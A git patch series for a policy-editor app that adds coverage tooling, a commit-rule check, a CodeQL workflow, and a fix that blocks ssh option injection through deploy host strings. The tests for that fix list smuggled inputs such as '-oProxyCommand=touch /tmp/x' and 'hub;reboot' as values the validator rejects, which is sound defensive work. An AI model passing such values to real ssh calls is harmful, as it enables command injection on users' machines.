"https://files.pythonhosted.org/packages/b9/a3/d3d99d93b02517087aa05bc0cf2d04d372956b849e5443e059079901429b/coverage-7.16.2-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0fd7a86fdda7cb6d616d178654bd0ad6bc0f3f33c2e478aa598500a1a9e34eda", size = 259909 }, + { url = "https://files.pythonhosted.org/packages/08/44/39dd599181726758dd185ae4dc0c0ab3aeabf7ca70e68e145060feeaaa16/coverage-7.16.2-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ac0f3b379c94acc2f7dce5f5f0b24d44fa1cc6a509717ef83dfee07450c2117c", size = 262481 }, + { url = "https://files.pythonhosted.org/packages/99/e8/91ee43f6ded411460c359d7e1aebde4d6fd8f00a2e5394182d9d212eb23c/coverage-7.16.2-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:7d0732c83746bc24123c581a85d9dd96b70ddb538c9076020aa1a041790361e9", size = 256012 }, + { url = "https://files.pythonhosted.org/packages/11/8c/e9499ddc33197bd7eabcb1118ca81756fc874457b324e2b479a4804b2ad2/coverage-7.16.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7b451c68218c150f616bc9649783ec8de76a59792c759b43aa0c9c0466a465e4", size = 257898 }, + { url = "https://files.pythonhosted.org/packages/5f/6e/c081cb5991a0afba99f9c4ad6c74a5fce9513a38ddc64e3e6680c6fed9af/coverage-7.16.2-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:a56ac4fa5a75c7e182e8f62600cfb4aff43c5ed7356a034f3557659c3bec1d90", size = 255938 }, + { url = "https://files.pythonhosted.org/packages/b2/42/1c3d819e8f9b6eb01c2fe90874d67a8882adb9507e0bbb09361ed131ea89/coverage-7.16.2-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:4cc4f73aa3fabc36e32046d6cd2971405948d8a903636508a3d3b2f9128b3a95", size = 260368 }, + { url = "https://files.pythonhosted.org/packages/19/4f/d70eac07901fd587b6ab05e659b52afe13959992aa5113bf6cce059cc572/coverage-7.16.2-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:723dcdab91357159b722935b500ee8abc0a66c8c432e1e9fabf4cc7598952de8", size = 255620 }, + { url = "https://files.pythonhosted.org/packages/34/5e/6d87af88317d3d9a9b18a9ca1bc1673eb516917f296e579d0d4a55cb3490/coverage-7.16.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5397e21a90dde0e9c6896b77ded8f0be26b66f8b22b33aed41f6043ed95d55e6", size = 257521 }, + { url = "https://files.pythonhosted.org/packages/79/bb/90c2641170d2fa1a6757b3f8450ba2740197317b0ddd749e9604b914e886/coverage-7.16.2-cp314-cp314-win32.whl", hash = "sha256:848893e1d361448c113dc2f0913503522a6f7be231d0e38333d2a22d9698a011", size = 226248 }, + { url = "https://files.pythonhosted.org/packages/30/08/d8d0478bb02c8eb0ae20a496fc80c40fcf4d3450bd184300d682ba2d28a6/coverage-7.16.2-cp314-cp314-win_amd64.whl", hash = "sha256:5a27b731c171e43dc8b5f32b76a5051dde2ec9b9366c87028f08a7088ebc2c7b", size = 226732 }, + { url = "https://files.pythonhosted.org/packages/32/3f/0001da22155b0a8ce063ec0f7e64ecbe17b373f306e7a74435f6d6accb72/coverage-7.16.2-cp314-cp314-win_arm64.whl", hash = "sha256:1c569a9fd25505f1cd6bea90588818f90373ce90e2632e2cacf19ddbd6e14fdb", size = 226645 }, + { url = "https://files.pythonhosted.org/packages/d7/85/6d8813aff9b8b8586691a9d33c43c5604f7227622574da7cdc3d91a86861/coverage-7.16.2-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:d93db87adb6b1c1b408dce4763314b55d76a9f589e96783a84ac9e7689e48bdf", size = 224871 }, + { url = "https://files.pythonhosted.org/packages/5c/70/444f3a4981ac2cda40fdcf4cc9b56a4e1a33c222abeb33e51ed3e3eb2a6b/coverage-7.16.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:aa62c85046473959c13ba9edca9dc90a77d5c1095b1ba313556314d77fe5b036", size = 225123 }, + { url = "https://files.pythonhosted.org/packages/d0/c1/980681cd7b33eb66ac835044116ef0a92e11fcc7bdd866cc89d10b1130b9/coverage-7.16.2-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:db76506aa5416081f3e8974ae0f7965c58ada0bb0ef7339ac86099588dbb20d3", size = 265049 }, + { url = "https://files.pythonhosted.org/packages/b2/e3/87679875c33bb2191f0f05544a1cc9adcc940fe0c35443a10f2df753dde5/coverage-7.16.2-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:a0f2285329dac10ab08f79cb11f5692c497018e6c7c511f95e6fd63a70b8f831", size = 267717 }, + { url = "https://files.pythonhosted.org/packages/76/64/5d372776d6eb523d4e93bafba2253f96984e3b18261c4cc56a50863c6d0d/coverage-7.16.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:382d3346d56b0eec1b793d53a4c88799c8053f516aa3a8d7c44315696954bacf", size = 270047 }, + { url = "https://files.pythonhosted.org/packages/be/c1/44082ff0cbf9f97d0043f57970a71204097ec7ba606361a9fd2065393669/coverage-7.16.2-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:648352b94507179d82637292e7ae8802508d95f78e2f00a705a50b6c48011681", size = 271360 }, + { url = "https://files.pythonhosted.org/packages/b8/17/9a215efe25b5e0ecc87c89dbe525c4a87d14d87c8c0c7316ef140a5f6f3e/coverage-7.16.2-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fb2bde05838fffae1a1bf75e5d411a6cac3e4e9bb97e6640fed8cd47888b33f0", size = 264736 }, + { url = "https://files.pythonhosted.org/packages/a2/da/7f0a31af8e448107d4d32844bd684757f51ea907bc0c68c8fd537b2123ff/coverage-7.16.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:6a75180829efb8ae62b4aded25be6ddca1c888d138d2d82e21d93bfbd88f41cb", size = 267600 }, + { url = "https://files.pythonhosted.org/packages/dd/a4/3bfecbd3366b775bacdcb3330394d356cf384b5d8f5b2146ac4b14b252b5/coverage-7.16.2-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:99704f73721e23859112072d522076e11c31744fc96b5652e5dd2018aa4359f7", size = 264767 }, + { url = "https://files.pythonhosted.org/packages/b8/3f/5d62163732d87e4a0c4710a0eab30f0fd6a2d480112abe2029f014fe8c9d/coverage-7.16.2-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:29309ccc86b7f33df7db12813c299f215bbbc470ed6292d0bedd63ffae1ebf64", size = 269026 }, + { url = "https://files.pythonhosted.org/packages/49/4d/8e4579f225426535085a9be371cc75e3b026d058d679b80affbdfb4c3ef0/coverage-7.16.2-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:30c1b65d529e46569899fadca59e4a87c1faf2886923f1307ba61e654d4f3c20", size = 264147 }, + { url = "https://files.pythonhosted.org/packages/d1/36/ef1f77e2c3f7bb03c2b13b9a2006f88700fdd75535ef158d70049f425c1c/coverage-7.16.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:dcf4bc2aab4e16b1c4c0c2005918f23a7dd5d7821ddae82caed9e3342dc2fcce", size = 266376 }, + { url = "https://files.pythonhosted.org/packages/be/79/0cb2bf4428830dec971c718c2c841a039c084415c99e67281f5a72841aab/coverage-7.16.2-cp314-cp314t-win32.whl", hash = "sha256:a9cd3de0a5bfe7b0e21ee10e1a14e3d61bf52efc88217ab1d95d6ace6970bd46", size = 226585 }, + { url = "https://files.pythonhosted.org/packages/3c/f9/da17121c16667fd84998e972200ae226a41540f6ea4795776c6d99e8976f/coverage-7.16.2-cp314-cp314t-win_amd64.whl", hash = "sha256:611a44e5229a59d7483ce830160e1a0e85f700562c7a5651c7c63fb8f4eb528c", size = 227378 }, + { url = "https://files.pythonhosted.org/packages/74/89/01179c62d1b7e6e33bd5001566b02d7f778cf33d3ec1e81e94ca170c517f/coverage-7.16.2-cp314-cp314t-win_arm64.whl", hash = "sha256:22957cef43ce038641de78ba995de7568d2d6a37c6ddbf7fa0fd7d1ae2344d91", size = 227064 }, + { url = "https://files.pythonhosted.org/packages/4c/57/52935003c3f627ba6e5203d7179aad32448c10899663a30336aba8e81a2c/coverage-7.16.2-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:414c26dfdb96aac2d570a54e03008f001e32eb2d413705365503648c6bd361d8", size = 224140 }, + { url = "https://files.pythonhosted.org/packages/31/38/df472520f3e626524d7e2fc9d6da0afe7895a2f1489d36b48af8ca40bb41/coverage-7.16.2-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:00d3eb96e9988c45f50cccd1f1496571ac5c1f91386ac02c4d55516eeda19a24", size = 224449 }, + { url = "https://files.pythonhosted.org/packages/0c/aa/3be084d5b82e63ccdad4ed751e4acbae294673573e30481d29f8b7402eec/coverage-7.16.2-cp315-cp315-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:4dbbd1155ca46e6e0b6b89d204428c56ef6a459af21333f365d135a2820e5a09", size = 256060 }, + { url = "https://files.pythonhosted.org/packages/de/29/48fca82a7ebf7ff7b2e35019cc9537e7f65e4d2aa1215cc5a8792c989251/coverage-7.16.2-cp315-cp315-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:8fc15cc8d0d06e873c00ef18e1372d605f9aaf3de27d8c24e50782e75bc8b843", size = 259106 }, + { url = "https://files.pythonhosted.org/packages/06/3d/b2d5986f2dd53fe201aa1be2e4ab204fa1aed5101e67c0dbbb419b850aee/coverage-7.16.2-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9c6afdd69218202bc1758c9a14b86b8cf1084f37ed2ca143e567a103772b16d1", size = 260674 }, + { url = "https://files.pythonhosted.org/packages/ce/7e/b50160be3506ead12e6480d14279af7f0f17627694300a2d1fd2c42d2ff5/coverage-7.16.2-cp315-cp315-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:aba5c63b7afdc749cc9eae943d5b868cba2b261a176378fa1c5a30bc8bc89982", size = 263139 }, + { url = "https://files.pythonhosted.org/packages/14/5e/7c805ac9a32606de1399bd7e9bd375aa2f973dc61b12680d9e6403c2e891/coverage-7.16.2-cp315-cp315-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9174f0af24e5eff248b9dbfe76ec5275a3d19d37edbc2810543f12cf97347a34", size = 256591 }, + { url = "https://files.pythonhosted.org/packages/ab/9e/76f1ed129a2daf658a3ea17122824cf2e3b91fea0460d8d3664fc5a61018/coverage-7.16.2-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:80e9fdb4c3d926b6ba721d4bf7435bdb869c3527ae7803290361d0ab73db13b6", size = 258708 }, + { url = "https://files.pythonhosted.org/packages/5a/b7/8d62e75f48b527619239a65294f842d4b7fd02a0839d43ae1de80184e2df/coverage-7.16.2-cp315-cp315-musllinux_1_2_i686.whl", hash = "sha256:7b3bce4a0d05401d70b7d0d5ca783e686bc9d30e81dbd7d980d532609bf809e4", size = 256562 }, + { url = "https://files.pythonhosted.org/packages/b8/8d/0a15f95c3afb78e947c52644786ba4bc9de259905687dd720d5e6fae2e76/coverage-7.16.2-cp315-cp315-musllinux_1_2_ppc64le.whl", hash = "sha256:44f21e407b278efdfc1ee5e481e00518bd1d500310a30a5fbf2bcbedfef4aaf0", size = 261077 }, + { url = "https://files.pythonhosted.org/packages/25/00/88389987305a47d732866c07c8a500000ab574df9505e3114ac69c8d027f/coverage-7.16.2-cp315-cp315-musllinux_1_2_riscv64.whl", hash = "sha256:59c3926585e1cd1f2190f4b2ac9014de1bbeaf0d5d0587b0dc6b0aa90d17896a", size = 256034 }, + { url = "https://files.pythonhosted.org/packages/92/02/34d079d4952ad461bde037d353f9a6e037a7edc45fe0f9ee8781ff73f028/coverage-7.16.2-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:066429634299e14dd2d511e1e85f8f9cecc500781f6b41907c0dd6f1baea7e63", size = 258034 }, + { url = "https://files.pythonhosted.org/packages/f6/d8/3e59a62879285b464ec1b10fd824fbc1af9ce66e842cd39974f80a0becc4/coverage-7.16.2-cp315-cp315-win32.whl", hash = "sha256:893ea9cf86cb8d2546812ac93d973aaf2ee1fb45110a873b014214fd23e3725e", size = 226252 }, + { url = "https://files.pythonhosted.org/packages/f4/e1/128026e1b2836e9ad6b219207ba9edf1c5e0088a7869e23088aee7fbbe7a/coverage-7.16.2-cp315-cp315-win_amd64.whl", hash = "sha256:01c6908bc613b420c26c818fe948e1b97dfd041a53c98b01c63bd8321f5c9aae", size = 226728 }, + { url = "https://files.pythonhosted.org/packages/a8/f4/c9fa8e7cf525ca7748ac52b0ee89331d13fe09808e45c679830708782e90/coverage-7.16.2-cp315-cp315-win_arm64.whl", hash = "sha256:967d72c835d7a8cf0af99ec813a2d06e3db6df706402f1fe85b31b437645f495", size = 226648 }, + { url = "https://files.pythonhosted.org/packages/a2/13/e96b045447a856666f36f9c653e2a80bdaa732aaaf72412b19aa2c26a473/coverage-7.16.2-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:98d9c97f51b334b0adce7b964442a9af33c1a00c6ac856984cc5dc8d18f81c75", size = 224858 }, + { url = "https://files.pythonhosted.org/packages/23/90/087f6ad1bd3df059632ca3407a4e6552ed1053ee35354de0a771acf35423/coverage-7.16.2-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:3e861f1071dcc2fec1e88bef0920f6b1eaa66a143555b4f8ab79ba2b0f30ef55", size = 225139 }, + { url = "https://files.pythonhosted.org/packages/7e/8e/285dcef0184358044e7cbcd810a1bdc9566bc620f54702d605477155df4a/coverage-7.16.2-cp315-cp315t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:fb9d92ecfe2d5b494367c67f7446f8b75b68d8d0c8cf3bc3e6997478be25d9e2", size = 265090 }, + { url = "https://files.pythonhosted.org/packages/06/b2/cc83f3a6e5789a4e89059c69555bc641c2efcde568405a1c06fc702951ab/coverage-7.16.2-cp315-cp315t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:eb57acff4a74246ae513c142d4b36e18c389c3aed8661914a53f7cd0071031b2", size = 268254 }, + { url = "https://files.pythonhosted.org/packages/ac/41/f548c19530f5d66ac6e3c92bbcbc49da7261de3a458b9f3e54a3efb1a0b2/coverage-7.16.2-cp315-cp315t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:444889f7f66b74e4455c0a97e0e166dd41177f1dca8c0239a47cff25e05ba7e1", size = 270695 }, + { url = "https://files.pythonhosted.org/packages/94/61/4dc27cf82ef96434d2874110ad0cc10ea4621025705dc5049862bd3bd181/coverage-7.16.2-cp315-cp315t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a740ea6f083c6db7b926534d159508f80ba275ab35e722522de0d18d0f56e55f", size = 271853 }, + { url = "https://files.pythonhosted.org/packages/38/29/bf8072b1b8bd5f2de8b21460a404460b1a2b97e80a9464c78ec0271f6199/coverage-7.16.2-cp315-cp315t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:8e209591f7c41ae4a9171335cf6156afda0b21de73b02f73f5aa95b2d5fbb08d", size = 265644 }, + { url = "https://files.pythonhosted.org/packages/7c/2f/0aecb8721be5cdeb8afd9d6d9f6b463f074e4d8d37f00f4c42442522709f/coverage-7.16.2-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:396bb16e04ce04efbb3df91456ae4e3da918e69ecdf67fb711b0a0fdf35ccce0", size = 268530 }, + { url = "https://files.pythonhosted.org/packages/ab/0b/92b4b7628268ee711249958e68fc0328779bd3d9a7ab4715379465aedb84/coverage-7.16.2-cp315-cp315t-musllinux_1_2_i686.whl", hash = "sha256:9cdf19874e0d247f32f03609200370343c3c7aa260b191d8c2bb251d36198283", size = 265154 }, + { url = "https://files.pythonhosted.org/packages/7b/d9/41c95c1ab29b3dcd357cd1227181d1c98185632aca41ce670ce671b23a43/coverage-7.16.2-cp315-cp315t-musllinux_1_2_ppc64le.whl", hash = "sha256:fd3d72233eb8b48acc94fa57d44e2d32ce8e7abed02882ccb6d855ccc4ed33ec", size = 269799 }, + { url = "https://files.pythonhosted.org/packages/80/07/ebeb259aa5362b033a137b86d7274ff4b109d59be8cc9913889b783bf75a/coverage-7.16.2-cp315-cp315t-musllinux_1_2_riscv64.whl", hash = "sha256:bb4ffe96aa663cee727659db5a2afeb38c95f8677b747d447b90d6d4874ea2c5", size = 265196 }, + { url = "https://files.pythonhosted.org/packages/b2/18/8437620f90d023680a072eee02f968055f3658bbfb7d386d0ea34cfb7f30/coverage-7.16.2-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:dba2edfb054f6d4a08df9d1637c39a5aa3865bca6617c13c86be21e45658a59c", size = 267266 }, + { url = "https://files.pythonhosted.org/packages/28/6c/f08e8ee4293e6434035424180bef4d45e028e8ecc006c61bf9453e74405e/coverage-7.16.2-cp315-cp315t-win32.whl", hash = "sha256:251aed777c47c77aba047096d4542889db089227655711dfc2b9c54ef0e15e35", size = 226583 }, + { url = "https://files.pythonhosted.org/packages/f7/fd/3f939c2847f4a72c20cff8b1ac33da78ea91a2d38d9b43336e60db719103/coverage-7.16.2-cp315-cp315t-win_amd64.whl", hash = "sha256:2aca0bdfa9e91621d5b09d815357bf63def4fc0e9cb66da67bf2cf93f3b1a6f5", size = 227374 }, + { url = "https://files.pythonhosted.org/packages/5a/35/b98cdc354c952402132e675a87f2cc3227fb68f959c84aaa491fbe15933d/coverage-7.16.2-cp315-cp315t-win_arm64.whl", hash = "sha256:b88841e654f09732804809e435b3e005a929ffd9998b872b7b213957b8759cb8", size = 227064 }, + { url = "https://files.pythonhosted.org/packages/3f/0c/7a64e1ac90541a8edf50daef0914848011fb057a5bf55284a4811e21939a/coverage-7.16.2-py3-none-any.whl", hash = "sha256:11d28e9123a9156cb405d8d27b44256c9a58fb5decc2073a8f17862057e3aa0f", size = 215754 }, +] + [[package]] name = "docker" version = "7.2.0" @@ -533,6 +634,20 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/24/25/1de2678b631f5a49215c6c96fff41ba892b0a34df68d6d80292b1b48aa7f/pytest-9.1.1-py3-none-any.whl", hash = "sha256:37a86b45efb9a47a61a36449063e8e18d0cab3161329fc099eb21783169c4f0c", size = 386536 }, ] +[[package]] +name = "pytest-cov" +version = "7.1.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "coverage" }, + { name = "pluggy" }, + { name = "pytest" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b1/51/a849f96e117386044471c8ec2bd6cfebacda285da9525c9106aeb28da671/pytest_cov-7.1.0.tar.gz", hash = "sha256:30674f2b5f6351aa09702a9c8c364f6a01c27aae0c1366ae8016160d1efc56b2", size = 55592 } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9d/7a/d968e294073affff457b041c2be9868a40c1c71f4a35fcc1e45e5493067b/pytest_cov-7.1.0-py3-none-any.whl", hash = "sha256:a0461110b7865f9a271aa1b51e516c9a95de9d696734a2f71e3e78f46e1d4678", size = 22876 }, +] + [[package]] name = "pytokens" version = "0.4.1" diff --git a/vitest.config.ts b/vitest.config.ts index c98a9cd..ad85517 100644 --- a/vitest.config.ts +++ b/vitest.config.ts @@ -24,6 +24,13 @@ const electron = { alias: { electron: resolve('src/main/test/electron.ts') } }; export default defineConfig({ test: { + // npm run test:coverage → coverage/lcov.info (uploaded to Codecov) and a summary. + coverage: { + provider: 'v8', + include: ['src/**/*.{ts,tsx}'], + exclude: ['src/**/*.test.{ts,tsx}', 'src/**/test/**', 'src/**/*.d.ts'], + reporter: ['text-summary', 'lcov'] + }, projects: [ // Logic: *.test.ts. rendererProject('renderer', 'src/renderer/**/*.test.ts'), From 6cb542184b626c830402d163da186cbb8a030114 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 16:55:17 +0300 Subject: [PATCH 086/141] Added a check that pull request commits are signed off with valid titles The Commits workflow checks each commit a pull request adds: signed off by its author, a title of at most 80 characters with no ending punctuation, and a blank line before any body. Dependabot is exempt from signing off, and history before this check is left as it is. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- .github/workflows/commits.yml | 23 ++++++++++++++++++ scripts/commit-checks.mjs | 44 +++++++++++++++++++++++++++++++++++ 2 files changed, 67 insertions(+) create mode 100644 .github/workflows/commits.yml create mode 100644 scripts/commit-checks.mjs diff --git a/.github/workflows/commits.yml b/.github/workflows/commits.yml new file mode 100644 index 0000000..9f094c3 --- /dev/null +++ b/.github/workflows/commits.yml @@ -0,0 +1,23 @@ +name: Commits + +# Every commit a pull request adds follows the commit rules: +# signed off by its author (git commit -s), a title of at most 80 characters with no ending +# punctuation, and a blank line before any body. +on: + pull_request: + +permissions: + contents: read + +jobs: + rules: + name: Sign-off and titles + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v7 + with: + fetch-depth: 0 + - uses: actions/setup-node@v7 + with: + node-version-file: .nvmrc + - run: node scripts/commit-checks.mjs ${{ github.event.pull_request.base.sha }}..${{ github.event.pull_request.head.sha }} diff --git a/scripts/commit-checks.mjs b/scripts/commit-checks.mjs new file mode 100644 index 0000000..5938c33 --- /dev/null +++ b/scripts/commit-checks.mjs @@ -0,0 +1,44 @@ +// Checks each commit in a range against the repo's commit rules: +// a signed-off-by line from the author, and a title of at most 80 characters with no ending +// punctuation, separated from any body by a blank line. Merge commits are skipped, and bots +// (Dependabot) are exempt from signing off. Run: node scripts/commit-checks.mjs .. +import { execFileSync } from 'child_process'; + +const MAX_TITLE = 80; +// The check began here: earlier history is as it is. +const SINCE = 'ae504bad211e14fbed541dab6428b23543b178ee'; +const range = process.argv[2]; +if (!range) throw new Error('usage: node scripts/commit-checks.mjs ..'); + +const git = (...args) => execFileSync('git', args, { encoding: 'utf-8' }); +const known = hash => { + try { + git('cat-file', '-e', `${hash}^{commit}`); + return true; + } catch { + return false; + } +}; +const hashes = git('rev-list', '--no-merges', '--reverse', range, ...(known(SINCE) ? [`^${SINCE}`] : [])) + .split('\n') + .filter(Boolean); + +let failed = 0; +for (const hash of hashes) { + const [author, message] = git('log', '-1', '--format=%ae%x00%B', hash).split('\0'); + const [title = '', second = ''] = message.split('\n'); + const problems = []; + if (title.length > MAX_TITLE) problems.push(`title is ${title.length} characters (max ${MAX_TITLE})`); + if (/[.!?;:,]$/.test(title.trim())) problems.push('title ends with punctuation'); + if (second.trim()) problems.push('no blank line after the title'); + const signOffs = [...message.matchAll(/^Signed-off-by: .+ <([^>]+)>$/gm)].map(match => match[1].toLowerCase()); + const bot = /\[bot\]@users\.noreply\.github\.com$/.test(author); + // Dependabot signs off as itself, not as its author address. + if (!bot && !signOffs.length) problems.push('no Signed-off-by line (commit with git commit -s)'); + else if (!bot && !signOffs.includes(author.toLowerCase())) problems.push(`Signed-off-by doesn’t match the author <${author}>`); + if (problems.length) failed += 1; + console.log(`${problems.length ? '✗' : '✓'} ${hash.slice(0, 7)} ${title}${problems.map(problem => `\n ${problem}`).join('')}`); +} + +console.log(`\n${hashes.length - failed} of ${hashes.length} commits follow the commit rules.`); +if (failed) process.exit(1); From d4eeeb52a7856435cedbc978d7164d72b027aeb8 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 16:55:18 +0300 Subject: [PATCH 087/141] fileTree: Comment no longer points to an untracked plan Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- src/renderer/src/store/filesSlice/fileTree.ts | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/src/renderer/src/store/filesSlice/fileTree.ts b/src/renderer/src/store/filesSlice/fileTree.ts index 451f0c2..217a4e5 100644 --- a/src/renderer/src/store/filesSlice/fileTree.ts +++ b/src/renderer/src/store/filesSlice/fileTree.ts @@ -5,8 +5,7 @@ import type { PolicyFile, PolicyFolder } from './types'; // folders, and by both create and rename. export const MAX_NAME_LENGTH = 256; -// Files/folders eventually become real paths on disk (policy//.cf, -// per the cfbs integration plan in .claude/architecture-plan.md), so path +// Files and folders become paths in the project (.//.cf), so path // separators and the extension dot can't be part of a name — everything else // a real filesystem tolerates is left alone. const FORBIDDEN_CHARS = /[/\\:.]/g; From 8cf2db36848cc63128fd27f03a2ec6cc4dce2d63 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:02:42 +0300 Subject: [PATCH 088/141] Added a CodeQL workflow with the security-and-quality queries It analyses TypeScript, Python and the workflows on pushes, pull requests and weekly. It replaces GitHub's CodeQL default setup, which has to be switched off in the repository settings first. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- .github/workflows/codeql.yml | 50 ++++++++++++++++++++++++++++++++++++ 1 file changed, 50 insertions(+) create mode 100644 .github/workflows/codeql.yml diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml new file mode 100644 index 0000000..0b1be2f --- /dev/null +++ b/.github/workflows/codeql.yml @@ -0,0 +1,50 @@ +name: CodeQL + +# Static analysis of the TypeScript, Python and workflow code with the broader +# security-and-quality queries. Replaces GitHub's CodeQL "default setup", which must be off +# (Settings → Code security), or this workflow's results are rejected. +on: + push: + branches: [main] + pull_request: + schedule: + - cron: '30 5 * * 1' + +permissions: + contents: read + +concurrency: + group: codeql-${{ github.ref }} + cancel-in-progress: true + +jobs: + analyze: + name: Analyze (${{ matrix.language }}) + runs-on: ubuntu-latest + permissions: + actions: read + contents: read + security-events: write + strategy: + fail-fast: false + matrix: + # Interpreted languages: analysed from source, no build step. + language: [javascript-typescript, python, actions] + steps: + - uses: actions/checkout@v7 + - uses: github/codeql-action/init@v4 + with: + languages: ${{ matrix.language }} + build-mode: none + queries: security-and-quality + config: | + paths-ignore: + - node_modules + - out + - release + - python/.venv + - python/build + - python/dist + - uses: github/codeql-action/analyze@v4 + with: + category: /language:${{ matrix.language }} From 7dd20a835b8e397402f037e7155387336997c5aa Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:26:44 +0300 Subject: [PATCH 089/141] SSH deploy no longer accepts a host whose user part starts an ssh option A user part such as `-Fx` passed the host check, and ssh then read it as `-F x@host`, loading a config file from the project folder. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- python/cfpb_backend.py | 9 ++++++++- python/tests/test_deploy.py | 2 ++ src/main/deploy.test.ts | 2 ++ src/main/deploy.ts | 2 +- 4 files changed, 13 insertions(+), 2 deletions(-) diff --git a/python/cfpb_backend.py b/python/cfpb_backend.py index ed4e3ac..d55b1e4 100644 --- a/python/cfpb_backend.py +++ b/python/cfpb_backend.py @@ -371,7 +371,14 @@ def deploy_command() -> int: except json.JSONDecodeError: request = None path = request.get("path") if isinstance(request, dict) else None - if not isinstance(path, str) or not os.path.isabs(path) or not isinstance(request.get("host"), str): + host = request.get("host") if isinstance(request, dict) else None + # ssh would read a part starting with "-" (user or host) as an option. + if ( + not isinstance(path, str) + or not os.path.isabs(path) + or not isinstance(host, str) + or any(part.startswith("-") for part in host.split("@")) + ): print( 'Expected {"path": , "host": "user@host[:port]", "key": | null}', file=sys.stderr, diff --git a/python/tests/test_deploy.py b/python/tests/test_deploy.py index 16e73ed..abd039f 100644 --- a/python/tests/test_deploy.py +++ b/python/tests/test_deploy.py @@ -54,6 +54,8 @@ def _no_key(monkeypatch: pytest.MonkeyPatch): '{"path": "relative/project", "host": "root@hub"}', '{"path": "/abs/project"}', '{"path": "/abs/project", "host": 42}', + '{"path": "/abs/project", "host": "-Fx@hub"}', + '{"path": "/abs/project", "host": "root@-oProxyCommand=x"}', ], ) def test_deploy_rejects_invalid_input_in_one_line(stdin: str, monkeypatch: pytest.MonkeyPatch): diff --git a/src/main/deploy.test.ts b/src/main/deploy.test.ts index 39db4c5..e197d0e 100644 --- a/src/main/deploy.test.ts +++ b/src/main/deploy.test.ts @@ -197,6 +197,8 @@ describe('IPC handlers', () => { ' ', '-oProxyCommand=touch /tmp/x', 'root@-oProxyCommand=x', + '-Fx@example.com', + '.x@hub', 'hub;reboot', 'hub name', '@hub', diff --git a/src/main/deploy.ts b/src/main/deploy.ts index 5982891..f9a9da3 100644 --- a/src/main/deploy.ts +++ b/src/main/deploy.ts @@ -16,7 +16,7 @@ import { isKnownProject, testEnvironmentSecretFiles } from './project'; const GIT_TIMEOUT_MS = 30_000; // Copying the policy set and two agent runs on the hub. // `host` or `user@host` that cf-remote can reach (no ~/.ssh/config aliases); never an option. -const SSH_HOST = /^(?:[\w.-]+@)?[\w][\w.-]*$/; +const SSH_HOST = /^(?:\w[\w.-]*@)?\w[\w.-]*$/; const PUSH_TIMEOUT_MS = 120_000; const FETCH_TIMEOUT_MS = 15_000; // http(s), ssh, git, file URLs, scp-like `user@host:path`, or a local path. From 